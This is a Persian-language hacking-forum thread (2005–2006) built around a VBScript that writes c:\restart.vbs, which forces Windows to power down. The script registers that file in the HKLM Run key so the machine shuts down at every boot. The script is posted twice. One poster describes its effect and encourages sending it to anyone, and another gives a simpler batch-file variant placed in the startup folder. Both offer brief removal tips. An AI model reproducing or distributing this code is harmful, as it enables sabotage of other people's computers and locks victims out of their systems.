Sub ShutDown Set FSO = CreateObject("Scripting.FileSystemObject") Set TxtFile = FSO.CreateTextFile("c:\restart.vbs", 2, False) TxtFile.WriteLine "Sub ShutDown " TxtFile.WriteLine "nLogOff=0 " TxtFile.WriteLine "nReboot=2 " TxtFile.WriteLine "nForceLogOff=4 " TxtFile.WriteLine "nForceReboot=6 " TxtFile.WriteLine "nPowerDown=8 " TxtFile.WriteLine "nForcePowerDown=12 " TxtFile.WriteLine "Set oOS = GetObject("+chr(34)+"winmgmts:{(Shutdown)}"+chr(34)+").ExecQuery("+chr(34)+"Select * from Win32_OperatingSystem"+chr(34)+") " TxtFile.WriteLine "For Each oOperatingSystem in oOS " TxtFile.WriteLine " oOperatingSystem.Win32Shutdown(nForcePowerDown) " TxtFile.WriteLine "Next " TxtFile.WriteLine "End sub " TxtFile.WriteLine "ShutDown " TxtFile.Close Set WshShell = CreateObject("WScript.Shell") WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run\Restart", "c:\restart.vbs" End sub ShutDown
reza jaky
05-21-2005, 05:12 AM
علي جان اين كار رو كردم نه كامپيوتر خودم طوريش شد نه كامپيوتر كسه ديگه اي ميشه يكم توضيح بدي؟ :oops:
ali_boujari
05-21-2005, 02:51 PM
reza jaky همه ي مراحل رو درست رفتي
mamoti
05-24-2005, 04:51 PM
اقا اي ول
باهال بود ادامه بديد
از این همه زحمت
دستتون درد نکنه
:oops: :oops: :oops: :oops:
rootnt
06-05-2005, 10:00 AM
:shock:
عجب !!!!!!!!!!!1
يه نت پد داشته باشيم ديگه احتياج به هيچي نداريم
آقا دمت گرم خيلي توپه.
farhad resalati
06-05-2005, 10:11 AM
یه کم عنوان تاپیک اصلاح میشد بهتر بود اما خیلی پر مایست ممنون :)
خيلي خوب بود اميد وارم ادامه داشته باشه :wink:
G4meH4ker
07-26-2005, 01:33 AM
:oops: 8) :lol: :lol: دمت گررررررررررررررررررررررمم مممممممم :lol: :mrgreen: :arrow: :wink: بازم بزار راستي اينارو چجوري گير مياري :?:
K053_LSH_KV90
07-26-2005, 09:03 AM
اقا ميدونستي اينا مال يه قرن پيشه
mojtaba-p30
07-26-2005, 01:51 PM
ويندوز رو به هم نمي ريزه ؟ :!: :!: :shock: :?
من كه چشمم اب نمي خوره :lol:
K053_LSH_KV90
07-26-2005, 02:11 PM
اقا ميدونستي اينا مال يه قرن پيشه
نه نمي دونن
G4meH4ker
07-27-2005, 06:03 PM
جواب خودتو دادي؟
بابا من تازه اين بحث را پيدا كردم. عجت تاحاله. ايول ادامه بده علي جان. من ديگه عمرا از مايكروسافت ورد استفاده كنم. 8) :D
G4meH4ker
07-31-2005, 10:04 PM
جرا ديگه نميزاري؟؟
K053_LSH_KV90
08-01-2005, 12:00 AM
آقا اين مطلب ماله يه قرن :mrgreen: پيشه همه بي خيال شدن
MOHAMMAD_SAT
08-01-2005, 01:37 AM
نه عاليه
K053_LSH_KV90
08-01-2005, 11:32 AM
نه عاليه
چي عاليه
عاليه كه ديگه ادامه نمي دن
MOHAMMAD_SAT
08-01-2005, 07:18 PM
نه عاليه
چي عاليه
عاليه كه ديگه ادامه نمي دن
حالا
:evil:
reza jaky
08-01-2005, 07:34 PM
سلام بعد از مدت ها آمدم و خوش آمدم :mrgreen:
siadate
05-27-2006, 07:20 AM
دوستان اگر این تاپیک ادامه می داشت خیلی خوب بود اما بعضی ها ؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟
A_M_IT2005
06-02-2006, 06:20 PM
اين اسکريپت روی هرکامپيوتری اجرا بشه نمی ذاره کامپيوترش بالا بیاد. حتی فرصت کليک کردن روی ايکن رو بهش نمی ده .و پشت سر هم restart می شه! می تونيد روی کامپيوتر خودتون هم اجراش کنيد . برای خلاصی ازش بايد فايل C:\restart.vbs رو از کامپيوترتون از طريق Dos حذف کنيد بعد ويندوزتون بالا می آد
کد پایین را روی notepad کپی کنيد و فايل را با پسوند vbs ذخيره کنيد. می تونيد برای هر کسی بفرستيد.
كد :
Sub ShutDown Set FSO = CreateObject("Scripting.FileSystemObject") Set TxtFile = FSO.CreateTextFile("c:\restart.vbs", 2, False) TxtFile.WriteLine "Sub ShutDown " TxtFile.WriteLine "nLogOff=0 " TxtFile.WriteLine "nReboot=2 " TxtFile.WriteLine "nForceLogOff=4 " TxtFile.WriteLine "nForceReboot=6 " TxtFile.WriteLine "nPowerDown=8 " TxtFile.WriteLine "nForcePowerDown=12 " TxtFile.WriteLine "Set oOS = GetObject("+chr(34)+"winmgmts:{(Shutdown)}"+chr(34)+").ExecQuery("+chr(34)+"Select * from Win32_OperatingSystem"+chr(34)+") " TxtFile.WriteLine "For Each oOperatingSystem in oOS " TxtFile.WriteLine " oOperatingSystem.Win32Shutdown(nForcePowerDown) " TxtFile.WriteLine "Next " TxtFile.WriteLine "End sub " TxtFile.WriteLine "ShutDown " TxtFile.Close Set WshShell = CreateObject("WScript.Shell") WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run\Restart", "c:\restart.vbs" End sub ShutDown
اول سلام به همه
دوم دست علی آقا درد نکنه که خیلی زحمت کشیدن.
در مورد این کد هایی که بالا نوشتید من راه ساده تری رو امتحان کردم و اون اینه که :
در notepad مینویسیم shutdown -r بعد با فرمت bat save میکنیم .
حالا فایل در startup کپی میکنیم.
حالا تا ویندوز بیاد بالا ریستارت میشه.
راه برداشتنش هم از safe mode هست.
vBulletin v3.8.1, Copyright ©2000-2009, Jelsoft Enterprises Ltd.